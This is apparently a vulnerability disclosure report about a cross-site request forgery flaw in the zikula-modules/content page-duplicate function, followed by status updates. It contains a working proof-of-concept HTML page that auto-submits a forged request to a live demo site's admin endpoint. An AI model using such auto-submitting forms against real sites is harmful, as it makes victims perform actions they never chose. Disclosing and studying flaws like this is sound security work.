Cross-Site Request Forgery (CSRF) in zikula-modules/content
Valid
Reported on
Dec 27th 2021
Description
There is no csrf protection for content page duplicate functionality.
Proof of Concept
<!DOCTYPE html>
<html>
<body>
<form method="GET" action="https://demo.ziku.la:443/content/admin/page/duplicate/pages/content-introduction-page">
<input type="text" name="_zsid" value="aus942jl2kph2f9mrlc0520pmm">
<input type="submit" value="Send">
<script>
document.forms[0].submit();
</script> </form> </body>
</html>
Impact
This vulnerability is capable of creating more number of duplicates by clicking malicious links
We are processing your report and will contact the
zikula-modules/content
team within 24 hours.
2 years ago
We have contacted a member of the
zikula-modules/content
team and are waiting to hear back
2 years ago
The fix bounty has been dropped
This vulnerability will not receive a CVE
to join this conversation